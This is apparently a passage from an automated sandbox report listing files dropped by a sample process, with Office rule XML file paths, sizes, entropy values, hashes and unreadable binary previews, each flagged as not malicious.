SHA-512:	E1981A2736169C296E286E824BD68DF9C52BBEDBEDBC6EFA259C786CE62E2FAEB1809EE4C956FBCA681BBB47B6C9368C6532CDFBDF70B5CC6B52C1F2DC8397B0
Malicious:	false
Preview:	<?xml....H:.x...q.T}=.A..(..S.".\|./w,.tANcfpw'h.\..F.05.3..m..Ah...CD..9.i:9..T.0..%Q.! G..wFR...w..7..i?.6.......n.f.f...^..B.J..\|.+.o...2.....X1......f.Z....H........ U~B...&."..vq.dc9g.4.&..W.<HQF../...%.K.t.[.:...y...._N.5..-.....'.y....H..W\|...\|y.L.\.D..6P)...Y.f...Cy....9.Y.0..c.@K.Q...w.Z...R.....v....C.ZM8].N.Q....-..k.{..aF.N...{.lH!v....x..r.y...W5...\......Kv.?(.Q5.-. ?.&. ......Xb..x.....N!.~....?6.L...I....o....i"oU.x_.:...W..'.O..n..M..N..B.R2...g9......i..i....X<~..S.. KGD1.m.. ..x.,.w\.n....f^.b.AUr{..<3.......8...cB../U...?.......s.....O[..z..\6.K.=n.y.Dx..~..d>.MP...."\..{.2..E.....Sp.a..d'..A..O..u>."..I.:.a..L...=......[.._~.q...w.~....{...._..Q.8......&.].R.d...\|_...........a...I=.....f.s'...aNrb.,(AS."M.6..3.ox.T.g>D..Z...tzqJ..mu.....D q.....l....q.?......D$.?.P.{;..5.3.<..........r:..........?..u...O.oh...;.?....\r{ .U1[.W.......Ef..._...>...8....CN\.4{4.3..}...4.E....?-.h)..^.9...........S.z.o.\|..."^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.88716230833136
Encrypted:	false
SSDEEP:	24:4rDELmUHGL3MXpbzbLBt81MLZVtD34cuXl1vHcKAEV3aKUjq/THElf8FUp819Szr:mDED5b7/aMFT+1v8EBa7jQaUFUhfpFD
MD5:	CBC8BB93347B4BDB2FA0B4C7E19E2A63
SHA1:	89C99CBCDDD45E885787D454459214AC5A9E92A0
SHA-256:	905EDB4C9398C5879FE9402872DC856E059CF0A9F7754A1DA1D38912C4518DF9
SHA-512:	A26A22B6D3C9EBF3FC427ACB9BC645BEAAD3D179BC0B9AD6E75BD2166BFA44A718A7D4D81995A23E6AEE2F2BC461397BD40D9A43433E65FB7F3C1107371F8991
Malicious:	false
Preview:	<?xml........l.g.5..yeb..C..&...x...=.d(JP.8.P.O=1.$..:....y.....y.3s..0.K ..2AS(...w..B....w.....n.......@..u.QM.l<.... A....z&.8.<.Z...o~.(}S&?mj.....w..W..M.y.V....5!;%,.,....Pz->...5&.:y.S.?.G.3....k.~+..Cd#A9..N...\|N..../.W..z./..X...~.E....%.N.Duv..%......v.v...$.[.'.....p0\|.6.r........#.!.)..b. e".Q....S........Sz.^..dod....NFF....@..O...f.IZ.a..%Y..8..M..:d.2...:..F.EIcf...Z.OSb..ep..#..}...q.6..2.jZ...E.4.....f....(...6........qQ.Z.....)..R.k.d}.g..+.....'.s.aY.....lL...].',............!.2>..E....M`.'u.7F_...A5..5....U....b.^mjW...u..~"...........?..yB..&..J...&Ab..Dz.8+'.....5F..=P..`l...A.-.c..w..p....,0o..V.[...t`u...R!..=.x..<..M.mr..;......"........oVo..3.....E..0..r.d)........P.[......t......U._....T....{d...Zq..g...(a.i.z...>^.G...Q1..........L.c....L.H:l.......`.oV..U'X......$....Y.&Y..w2"c.j.YQT.....s.......s.P+m....\.#..(..D"...8.~S..C......O...r.Z..K.!....J.....a.n......P.<1;@.7.f.p.....V..CJ.........J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.8965376068705275
Encrypted:	false
SSDEEP:	48:5xFSrbBKNtCXgLtJ4pobDr/6Zp3Wcinh/VziFD:nk1d4J4GfrMB0di9
MD5:	ADF3C0198E1A2A80D5202E6A0759759C
SHA1:	D5A5C594BAB88023523879B6C97FFBF1981D8DB5
SHA-256:	B5918DC084F45447F982AD057D18FD63319C34BE0E20C22CBA32792F0B37F39C
SHA-512:	B7DDFC517FAD54EBCE6EB5CA4465AEE6E80911BE7F898C4E9D977CDBB2569806622E8ADF22DAD261AF06D034F8EC0164C7A6FA495CA637FEC49CA0303F416CA6
Malicious:	false
Preview:	<?xml&.2...2...z...@[..NeA......;.?ah .. ...>._.........CD./It..J...!....4-...E.?w>...u....:.%7 ..J..K..R.u...8....5?.Z.`...']y.!m.T-......?K.a.v..~.3e"..P...A.Y..H)..R..".'..8.\..%..?.....6._\_Q.]....l<.~:b..Ip.\|..8.....A......H...$.l.. ..q)`..7.{.a..L.I.....E.....:lu].).....Y..u~D].#.....^..B......).M..Y.j.&d[.r..#.9....<K.@..r.g}..]w>D.{.r..>4.EM..]..g.S...... a....). ..J1HMP..._..`^L.A.>....A...j..R'D#..,h..+..,M..\|..h....kE.D.........0...p.B......a..;\|.+...Rm....<7.fY.K.RS......O.6r.w..4^.R.6..ss.CW.P...6]...$.T..gm..v..?.t9....l..\|.........W...$..9_C&..@...:.;v.H.w..3g.g.:Qs...fx.w....M..QT.Oh..9...k..g.z..$..L8.....BT.X...:=.g25......I&...#...%.<'.....z..5hC.F.N.<.....H..T.5,........}.&T.\|i...i..4.L....f.y<.n..g..B.Q.nR.^..@..V...qRn.>".`...J..Bu..vn2...s..A..=... ....,).........i.`...3........@...q]f.1.b:..4Ll.{?/5..Q.B..[%..esxJ....SP....n+..Ho...ZS..Z..\|n........S.....Wp.N..(nJR.&c.t*w...X....U...#.%.}..!C..8..>..}bf.&..F..7.:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.877160892959458
Encrypted:	false
SSDEEP:	48:lWt3mWdDYAgocn6e5TmKA9XsbkWhNZly9EtDkx5gJL05OFD:lC3maHu51AlsTZpkIC89
MD5:	5C3C73E0A4D7DC138B1220B3350D0949
SHA1:	F1074D5CEAE06379106E63CAAC42ED91563969BF
SHA-256:	EF86A570DEA3E88D09231BEC790709C9B893A3E2205989F9315BC54B0262BEA7
SHA-512:	1F306C9F4EA9E5E8734418CD0F344401E225F57F6FF7B94A709264D21E780B4D8D342F6AC3BE7DB33737EE9C3724674721D50FCFE1BD0DEBBA4E1BB3CDEDAD7A
Malicious:	false
Preview:	<?xml.........h`.;.[.J..y..X{..;..$.E.7r...Ed.#4.w..z.<..K.`.%_h.@.Y...-......k.!...#G..1.k...ACo..CD7.^j/.c.9.#....D....q6.}...........d`.t\|.....i......,..d.]H..f..i4.F8....9.z1.F7....%&..AFS.>....j..o.2.K.\....\|.v.\|.\....Z.).Y.....J..N.....Yx.+>N..(.h..=i...F...r..o"....z.q`..........^K......Z.d.N...#.........Z?.....L..(....-.5."...N!Xl..r...fcC.j.....#..\...n....S#.x\j./........K.z{5=ba...^.(.T.....F-..k)WZ...?)R..W....u...w.).q.._.+...\^g...F.R[\b..".ry0..1.$ ..D.E.w.l.'..p.I~...3..L..$...Cam....;a..<\.).NR...4ad*..F....]..(.....&...5....`...Q...w..Y.,...6.\|}k.s3PC..;...F.Uu....L.-..."7...j7G..mA.$.V^O;.l.IGzW^:;Z.@.. ,+`.<n..#..4.fk<k...-....\|CS\|).z.0....o.....a:..3`...._.Z7.>..=...G>.....[N......g..{K`ltv...m\.[M._..D.R....d/9%.=.=.5.a...?..c..Z..S.$..Y.....Sc~0......@#=..N..b.394......6..v.;....Z."Hg..z...d.Um.S,~...`3...>=g.z......p\W......b..l..&T.1.k.7C.<..O.N..;...?.........Q~.bk..d.x.U..'......h_.I..'.g?.z..U...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.899795187301974
Encrypted:	false
SSDEEP:	48:AAGnMQIw4nSiGKAkAxsPIcUjEHejeSD7GFD:AAmunSiGKAkMsPIcgqKrD7G9
MD5:	2C01CF390DD429BDBF580779CFB7F6C2
SHA1:	F0E2486498D0A53B217F990DC38891B6888AFA5C
SHA-256:	46C248C38968E084FAC4D0C6ED358FFAE623C6BD34ED37304B87EF0DF6A168FA
SHA-512:	BF57A9A2B0796D7CF14253FDCE5396710C5C24D27FDCEE159F07D3235825B38B54BEF0F5926ACE9481B71F82CC7ED01EC89D591D87BBC7B602E2D57DA9A73749
Malicious:	false
Preview:	<?xml.....E.....c..\.Y..v.\......<.`.........a.H...=..H..XX)...c.g[.+N.K..W.&.[t..?..........OIr;.4Z...7z......(..(..T.$.h....r.5..RC....:.y.7..V.yf.y.n.-.M......#./M.!....>J......U..U..O.[z..3.>c.I.d.\=..8: kI.f..l=........o..iB.41..E6.\|.[.d...Sk....t.:.~....Y.C.iS.Z....s.ft..C..........d>b..t......f.C......c..6z.`..\Oj......Y..9..+d..eQ...xl.!.%.....Z....#..'1.....,.J.E.h..'.]....z..K..;....`.<&.....[r.ag.k.C..<...."Z....4/.....0uR...E\|6..m....CkA.9.g.'u.......-?./C..Doyk....ip\....t$.t..[...).._.o....................'..m.Oq6.....>.MZ...hq..x.X...L...~.A.......'.E.v....l...._....1)&.bF(.I...0...b.1....J..d;A3p.9.n...~.0.v.(bT..B.H..P&X....%.C.C.....O...._8..%.Vx.$..f..2\|d..2....n.\...p\|N..z.4R..5.O..C.n7rJn......F....q)..G(...5....@m.y)...@...v;..3_!uI8.r...P.".s.....a....:......w..a....8f.bT.>?Y!j.....y.V..mt./.sf.x.J...k.<.h.%8.~...1....EVd^EiM..(.."{.....G..K...h.S......o7....WZ.....1......S.9".RN.&P0....w.\|7..5/]......:QN.a0\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.899047443140419
Encrypted:	false
SSDEEP:	24:ePrVskIT+RvV8Eiwm+WJVPrkV0VNmQQ9+1lDJjU3OXwAd2rPvJpLxIVnDIiQVbD:QrVNxiweIV0VYoDeOXwtrZpFSDIiQFD
MD5:	4CBCAEAE5EA5D4140A521E283F24715E
SHA1:	91760B5D256BA9725E61F9DE1AD1EB0D200A3F7E
SHA-256:	FBCBC8661636ABCE2DAE73E0C38FE24D271AE922ED92453445C643CEE2E3108F
SHA-512:	7802425A3D38572CEAC1DFE20B2348EA84973926D50D1DFC4E2DC69A1E55109EA8C13DAF5E5A2E28EDDF12D1CBDAD6096164E911C8F6D162DD48F719E08A8965
Malicious:	false
Preview:	<?xml.....iE.,....4..o.......&.A.p..r.P..D0..h;.....)..;.C..lF..s-....CX</.Lr.......}{.dq..^,.T<\tr.'..5y1...(.e.Qvn. ).G.c..m[.Z.pl......?...5..0...-..{gH.% }%L.../Q...";.W.d..r......r.q.:..._..^F.J..`H..3.e...M..b.n'....l...j..K}.P4...\7....8.....]..v.K...%.JK.7...f..+`..xJ...:.h..YA.uzA."...o./...se,......1\.0..Wj..[....c64R9....RL ......>t.o8@.[.,.A..#.a.:..n{.N.1w.G..R..l..C.Y./k.>T..+.?.......f.\|.m..!..i.o.#....:......O.g7.V.U.^...F]X....tE.<...`R1....Q).._......j..,#+..o...!.z\|..'........2V^.x...s.an."...T.%..c[F.e6...{j...!...)..2.x........1.../..p....v.M..5..\|.af6.. l/.....W.z3.>...Z!I...O]..!s.j...#.........q....mVO].A.....4..{.,..p..P.<(.\|.CS.......>......H/.Y.D"+..;.^.iV.....=..;Zu.r..k.,.A..Q.+.$;.!.(*DlxF...U....._v.....^g...........X....}..C.E.].q.._...os...v.$.W.{..0-......!...VxY&......../@co..(...4.t..=....ky.K..D..;...gf..[...i].......P...r.......q.........&O.Jn.b.....a5...).3..}.sK..[.....#..D<.."..3....E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.886372740486061
Encrypted:	false
SSDEEP:	48:RVCLbhlzHUDJKOWj13P2Z18Bj5jJzc7EJLXyFD:RMLfzH5Oy1f618ZgW+9
MD5:	4CDA4BAED6952F67FB0C76609CFF6453
SHA1:	A1F255730525F2FCC5920F41201CD6CE19F4E8E6
SHA-256:	ADBFBCB49F38B37ED31D8804BB566415DFA55034C9B33C368B53DF5924306027
SHA-512:	4716EE5FFB0FAB82C3569B787B4C19ED862BB5920E0A126D59EBD56220759CC5E3839ED15D56BDCA1E0B6F16B31CC23E295A97E48C7B3FE20E02BDC7594F6B80
Malicious:	false
Preview:	<?xml..-A.....I.A...._...v^Y@.Y.!.uu.h..to.df..Zg...YH....\|......-...X..X.y...W.....?..{.;..`\...4.jE~......uz.H./......l.d.X.O..T(..:.4...O=..]Fjo.]...N..t\|..........5..)e..%..7...".q.....l.E".. ....v.A.`V.Mg......i=..LW.YbXc[..N..x.(Q.P77......r...K#^....s..g.a..tK....Fq.q&..c.+,...Z.[A.............,..N...tb....l<.Uig.j....[..@x...%.......o.o..`.4.....#5....(W..`Af......8........TL....k.Q.X..p...k..h..Vr.z$.J..L.\|.<..;B..s.g..z...H...^5.q...(..p./z9ADg...ZI...VD..dQE..6.N.E.Fo..e.mW.qsm.t..."S.p..sr......7...D.$....X.\.o.^.e....w.=...K... cY........3OM.V..ZZ~.U.p>.A.wL`_.1..[...>..C.....#...H...N..2..^...-B..0....m}{..z'.;#.68.y.Q..\|r<U.6M.J7..2...z+5.\.g.Z.].....Ar/\.1.we..8.....[zZ%...k..k....&<s.s._h4.+..f.P..9..{.0.>z.....e.\F.]..X\|)E."..f.~T.... ..?.h.....8...:..*..8o..K.a.$..R..3../7....W;.8.WF.eN.?....<.0.IE...D.{@...AfJ7.^...A`f}.U....r.E....#.~...c.....8o....6.D....."...p.5u'i.3.MD.1%..E..S.BTt...bi..a...S...N...I2Ip(..J..8..bm..~..{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.8866757009858075
Encrypted:	false
SSDEEP:	48:6CLzXUdBSvoeX3q0LUHEJjxOJfthWgC3BlFD:6AzQSvjX3q0LtjxOdth5yl9
MD5:	7F3E566101BED617622C37A263E240EF
SHA1:	4C29792BA84F4E71D0F0B926FA639C173151E22E
SHA-256:	176ED79AD776D1C9A36C8F1B2A81DB01F611178EABC9CA2089CBD8B1D2A95DDB
SHA-512:	6BA4690C321A48A3FA563FD917CF6B9C1C7608BCCE58DB677FD28990896F04083A3FDFB109E86582E84E834D254B717CAC49101B86D83FDE0417CB8068205560
Malicious:	false
Preview:	<?xml.P...N......C.c.r.e.....u..x.l.....nb..p =;....;..Ei.\G.....:.]..O4.]....\.e3@C.u..s8u...Rj..>.^....,..2...E)`....."{S.A~ .r......"..P.L.%.o....i.N.5.1...)..P.....%m....2....t...P...........!...:7:\|..`.]@O..M<.>.x.2.F.......O.uU=9...d.+1..[..y.~..#.jG.#...\|.Z.+...e.L.Q.........Z..h.w.[.."=...^G.o?i...7.M.......r......U.+..h.y&..h....6FN2.7...R...-77.s....I.j7..Z.....T.Q...;...R..E..[.g..0.s7.2..we...A.A......Q$T........D?..CE..v......@b..{....c..4.2......J.......z..R.:V..K&...X.]`f.3...Y.8...8MJ..9x^...&~...b...b&.K.S..s.....n..k..&8.,.+.4. ......o.....nt.,...<..by\|......v..Y...Pt....h.(...+.M....5&e.K..a.CQ=Kw..L.t.^m.a=!0}...zrS..VG:..A'9q.....u..F.=<.}`.....y...B.X.K.2.F(B...........$x..P.-,.Z.!.J.......:.z.!.-o"......n..0.......2...l.9*...`+y...x.n..m..i..x..?........[`/...g.....4.Bv....3..a.z.....&....Y....rCu...UO..:>.....JS .L...53i..G..Aa..V.....;.}w..UTq...y..=.O.\|.r.Ip....e....7P<....Dn.W..9..r...........p...N.8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.892314001376092
Encrypted:	false
SSDEEP:	48:clo6GTjjP0zTHOBfID9rAOGGGvDZoQK6Ur8CJuHEMFD:qo6yP2H9prbGGMiQ2JuHEM9
MD5:	E2D401D65E20144FD9DD49192FA7FEAE
SHA1:	C916AB20ACC2447148DA94A7ABCF27D09EDBD264
SHA-256:	9EF58BF322AFE4B2505D34F6104897C94D1501E0FC917EB842F492F2D1D43E96
SHA-512:	C4027DA32316BF5F7CAAB0F6D59C8F10444FE29A41C0BF51E56FB65E95713E71F8223DD7700DFD1414491FD4F2A3837226DA3FD0336613DB712051394C674090
Malicious:	false
Preview:	<?xml5.s.=t.v........GW.....1l@.w3@b.K.@..f.Z.-..%.9.<Ul.B...k..w.E=vA.h8...>...C(....._..M.S...Gb...{.g..e 6....;.p.c~#....6...[...1y#.eg@.....#..V...6gB...{r.j.U...(...h...-..!\|..5.ur\.4Kh.Z.^..].=.....+.....b..ER..z_...W?..zS..BeY..c...>.d\.7!m@..B.p...2.4.d..M3.Y...$..`...'.+.]l.S..?.S............!.].\|!..5..o...YT#7./o..;...bIT.{....`...0Zv..j..j.T.....Qd.zC.,...6......KF.`.O$.......ji.l...uU:2EJ.m..\..e..a..,.Q.s../N.).oT..U.M...I.n...cE../..D..L.....A.2....g.)@..._.s T...."...]\|...p.S.]...u....._S{..Fww..-.iy....r'.....t.Ht.......C...jdo";f,PS.....p.R..L."......"..\...y%...e...z.E....Y{..o...P@.8`.#s.d.S)....b..*....4.vQ_[..B...$...1.......F...dG.Bn....{p.aG.z..W....@..2.kz...I]...........S...:..hyC.RD......KI.^d E..6fa:=..qbA...B^_.1&...u..S03.K..s\...z..tK9.a mt.....M...(..1Mt.....~8..M..c.0N..2....\...".,..P...%..n.T.u../..8..Y"....+...ih9..s.;aa'3c....,..)..)f.cI.f....J.:PG..S.^..v...#...H/.v.s.2.^.,.9.g....T.M......j.O{.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.8934361674741504
Encrypted:	false
SSDEEP:	48:WcaOi6AomxXRfZVISNxdoIg9DQ/Zqj4oItqkJ2E0BsMvG+KwFD:WkwXRfZVhNnoI1jIuMn9
MD5:	15F3B5F83ED01E3E1161C02D01143A57
SHA1:	8FADA2E3AB0386D2BEFA2F6F66A17D93FC832AD6
SHA-256:	32B502A8FC6784236C3A2A9B404F7F5841B785334807E914CACD747A59851C2D
SHA-512:	8C651A832A4961C0DFEF64F116D6F9D8F6EE8A54473B16D22E700E404D434DEABAA66EF563B069DC21E3BB8B62787436CA64A78FDF2209A8094569584AB05B0E
Malicious:	false
Preview:	<?xml~...'....\|....U.:.0ca...R..k>.....`...`.G...Ld.e\|.............+.omB.pL.._l.....\|P.;.V.v..rk6P.zm5..}..4H:<^.0j...T/......<....??.cu.?....S.`...#..........3....)..6k.o...W...~@.)s.=n[B....1.qIr...Qnl.r.<Y...<.....=...\|...-.'...5:..W.S.:.oR.X.1..1.8\........\.I%.h...8...m>.w....jU.V-L{..x.."..g...)..._v...&o..;:.y.$..B....n{.Lie....e.deI...e..!......\.O..9......../..7.^...........s....i;...-........Ex=...;o.l?..z.uo...O..F..............o...8.V....,=..s&..DA#.Pj0...X.\|........J..pZ..(..(n.......\dD.'?~u..............o.bS.+......$...M.r.@......1.....$...4.=n...Y.3VM..ECk&j...].Q..SqH)...;i....h...U.s..P...o.NT1.F.t..u.&V.O]m..%..h..,..L.....-^.S.d&D......s.[....2m...Ze\|.J..N.>.....?.........N.U..;...)b...%s....I.......:...."...v.....O.eK..!..zJ3.B.i..s......Y.+..wE.{.`....II_.\|.F"..........ds...c....n..M[......3l.W.a.oo\|~J.1...n.........jn...6......pA....Y..<..{....%..+q.....#.B.....c..h.{F....[..O..B....\|......o.#...5d.^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.884070456085598
Encrypted:	false
SSDEEP:	48:7ZAULhusxV8A5XnWE3qA5rszrCAKdmvpIsFD:7ZA+I3OnWarMmcvP9
MD5:	D6112E0A899EFB5D41A950DA1D02982E
SHA1:	64F5F0FDC7BD82633FDC4F673B72B460446CEF83
SHA-256:	CF9C85CE23974609674033A0CA2D4E8B67859F5094F700F38229FCC1271EAA55
SHA-512:	98A9FBF62825A987C2A559BCA9C094452D8710290E86081A02CF5556CE981B45635B93BE841AE8479F53EAAB0324B7856EE835EF0680D9F4A0F6BC5AE757E364
Malicious:	false
Preview:	<?xml.......{.RI..R......u..G.~Y.U...9...u......i.......1-{...X) .....Mn..U-..T...8C.z.17.&.....W.-f..I....=m.d'e.tG...R.G\|..D...\|..$........{.I.!-..&.....<.4...d.^......(.2.... h..x.,.nc......&....:k...=.+`.A.g........4y..F..K..H.....q.~.$....#.p.hf....:..B...7.6F!,.g././..'EE..O....Y..._...C`n..K&.qSzh.g.......9..iYS.......@....O"....`mo?.e..=.}.c....A.Y.J.Z...h...d..-...D.t8g..$.7.O...!.&._.V}....3..y.st.`..{....d.O..p.........Frn..H.aT..7...P.h.q7...i...}...._..$.#5C.....1I..c..<:c.jO.q.Q`..^....v.....J.BI?.y.. .E.wu9....\|.-....4...J.E.WT.....m...[.L..sJ..v......1.i../.,.5z.....B.H.......+.Ne.%#.....J....:6.p&P.>...).<....9I....b....e....!...g...[....Ri.._I5.<...h...E.,.zUX.dX.h..w....>.1{fK...2JNf....9x...h.X....%ZN..GR..2..L .2"A........ .....U....;7/..1..0..f.V{.!.!BQ..q.......L2.t.M.\..I....g..._u...`\|...l.X..}.4.F.H....Q..T._.....1#.*a..X.."....XP..~.....?...V.aP....#.....x.=.....M.\|..SE,...3"..s....o;.j.^...Y,}pS.?q...+.....z...h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.886411771555433
Encrypted:	false
SSDEEP:	48:q6JVjhoj9xC6JpdpvSnorZ0ekxE+mOPFD:q/j9xC0pvf+eKL9
MD5:	4982E6F17A4A515EA62201BF00F0A9FA
SHA1:	E85081F6E298CBC4DE370F416B046D84E503689A
SHA-256:	A06BD19C78F302BECC92505C824D721970F9C6A97368B37B04918ECB3B45060C
SHA-512:	0201E64F31961426850F099379CB7242FF58E7E83C454BDBCBE503A1FF45328E4732763803E59DCB8946FB93C3EB7BAC7999F225D63C7ACC7602AC3BC762E9F4
Malicious:	false
Preview:	<?xml>......5d.)_.Tq.[5..SIZ.Z..iH..<....g.P.F.C0}.........{W.F...T...xb>8.j..)z .M.X..O.g..{Ax....K}\|....m&.../......S.=8..~w=......E.$..[`I.SY?....N..^.^.d..^...H..B.#.&...@.._U....Q.q[;..0H..!DQ./.+0.9..).l%-..O..@...R@4..iq{.o_j....."P.j.O..\|.1#....d....7m......\ ....r..c=2.....;......h8..(.Y.H.l.E..R.\u.n..5..d.....&.U....d.i...v+..;j.1....../...C.d.d.%....)..2$.....fk.......l...ON.....b.p4...x(.t. P.6-K.:..f...EvD.......H... X.."="s=.<....sM...c......e4.....\u.V#..m.e)g....GMy...X..,..s..f9..+t......}!.ZI..`...+7.p.W...9z........%....b.3...i]s.gjv!.....V2Q..#............H`............xb......{maY.{.....E.....I0m;...@...c..D..)`f...V:...&..Ud5&.K..-.`..]...0.,..Ei....rbU%.....TZ.a....o@....0y.f4.3s.l.e_........._-.G..A.>yG...LD.3...0.^...7.F...>.D^K....Yg...V....3.YW..+{H.&.[....K....B...C.#+..8....;.....>s<...u.5..\|.^...l..?..Q.T.O.oS...f...c.Nb..<.....~...1........'..cA}DX.^4..&.....(.....A.q,..#..VLo...Qf....IL..V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.867399330899953
Encrypted:	false
SSDEEP:	48:ENXi6Wx+6YcIGi2abngw2PQAf6W2xcrsPwesELnbFFD:ivUIR2ab1uQAd8jLnJ9
MD5:	6CA92D19787021A3F2D6310686513603
SHA1:	76B820A6E1B939874BE7A57DC91DF764D201EE63
SHA-256:	50425E9C5A3E17052F8AC69E19B889441DB42D0D9992F863BE47E7B917D49232
SHA-512:	0DBE90D9108FDE4E36FAB8C7D04AE38F471314B07CFDD02840C81B8B6178C7348CC5355BBAEE28091DD0D762FCC20C51E1AEF5DC56E4D9268FE145E900D11FEB
Malicious:	false
Preview:	<?xml5..N...(iC5AT..{...g.sw#.......J...7....^.j.4...wv.^a.:.Q5..<G..$..0.?6...0.F\i.X.(a.dCQ.`...?.JN...\|..h. O......Z.h..q%C7I.sn.j....Q..>@3...vP.....pxB4....F.s.>....T.I..R...n....6...'-.....D7...4V.\7.......(.G{=...........X..q}...6shu..^u.$.....Vt...D.i.Q. .\.......#.v..^iny.6..<B@.7XjKu...'Z..x.3.u.......I..S..%.gC(.^.1...V....W.S).....8.I.(.fA..8#..f7.....p5.p4..}........#..y......."..7@..<.+K.^...... Kvg.s^t......;.....s.2. D.'r."....hW..j..5..L....w.s0k..:-:.XP..s..Q..Ai....t8V.....Q...`6.....YE..j.eC.?Ka.i8.WM.!.K.#..b.....Dhb_..PbO.i+.e?...K\.;<K...^.f.\...5....Al.F` .]>d...Ck.%.c....6.3....Ez\|..^....H(./.t....`..<.......E. vk\|v02.6,....U...2......N.L8/.^p..8.....].]..049_r..w..c..8.A....Z..R...N.I..p.....y..Hh..l..@.....Z....9_.S[1.G...R.l.<.....c..:!7EP.}.5.4k._.b.f.C...t2;z.Y..A..........rf...[....`'._\|N_.].........Z.2.x......W.....k.#p....)c3@0f......-..=UMg\|.Zk.......T.E...Z...s$..k6l>...q.Z.>.&..;....~Sr.b2....i..3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.877385734658273
Encrypted:	false
SSDEEP:	24:QgFP4k5MP1n9tKCpXb7Slgamt6jT1NtEXqWgTWdiN38O7LJVyaVbD:Qg7ctKCpLV4jTREXqWmWd5OvJAaFD
MD5:	853881AA785E2221111C452A1F21C32C
SHA1:	17C8D25834277AC97381E5B854679470D22A0217
SHA-256:	A5F697EE4213B19EFADC431096344998EB6B0A4944FBEB7FCB048B31D155B969
SHA-512:	CFB3B108DEFB42ED85D690F12F6CED03A3C1EABC8A729B7D1B09042F2AF20463C31E4788826141BFBAABE05BB153A7C58350EB66D5EB758C9B6333A61B511D50
Malicious:	false
Preview:	<?xmlm..&.)Go....f...a..\|... ..n..19.....n.0.o.......+e..#...C/....#.c-..tL.!:..xwz...dG\|R9.VH...q.B.Vo..T.H..$h.J.....yJ.=...b'.C.E.(. }.......Z....#3.V9...t..ok.....w.o..s].`.\|$>.4.eg....9.._...,...........,;xZ....p.Q...._T\|..(p%...[F..k.p...vFo.....Aa1x.u...,RK.{......5.}...?_.@.Gi.r.....7...v.C.................'..8`....q..n...u..b..&.E]s..s...O.4..."...{G(..^.......f...$F./.W.6..V...\mQm.(......Z%9.K..=.../......+9..>+)-.....8O-.X......u.FK.Qu.7....P...+".K.zL#....-c..e....qsj.=....\.zMnH......5...h.p...YC..)H...%..]g...U.......{o.A8.S...]..?..q...Y.V.re..F.\..F.........b.._6....k[d9,}.p?...~..3.y.....<.P.p..........'.g........l..k.......^.G..q.>;.......L.{..H....Q........Q.EG...l...R.x.k...al0.-R<W\...D&W.o..M.E;.-i`.H@...8....).#..._.Dt.._.)P....,y....x3....;mX%d..fj.N..Y.>p.......3..s._.......(.G.\|8k.bI...t.G.m..T..O.(./...\|..fC...,...5..k^...k.#._........F.W..A..&U...f..B>...=.[...`.3.BS....[.07IZ.*......}.t?5..eR Z%F.4l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.892140939993189
Encrypted:	false
SSDEEP:	48:ZGLE+nZ6MF/S/LG+uJWmfp4q0nrUtiDujIgmrxCHRjGrFfs3t+FD:ZGLdZ6MxSydWmqqWrU7F6xcjSFfs3t+9
MD5:	14152F744150BDF47F48C1F126353135
SHA1:	17D8F6EDEDB5354FDDC36066B068BEBB23B923DA
SHA-256:	F6B7340027087774F26C2542F86434A4417E8348A52309BEA2D66584B87C7994
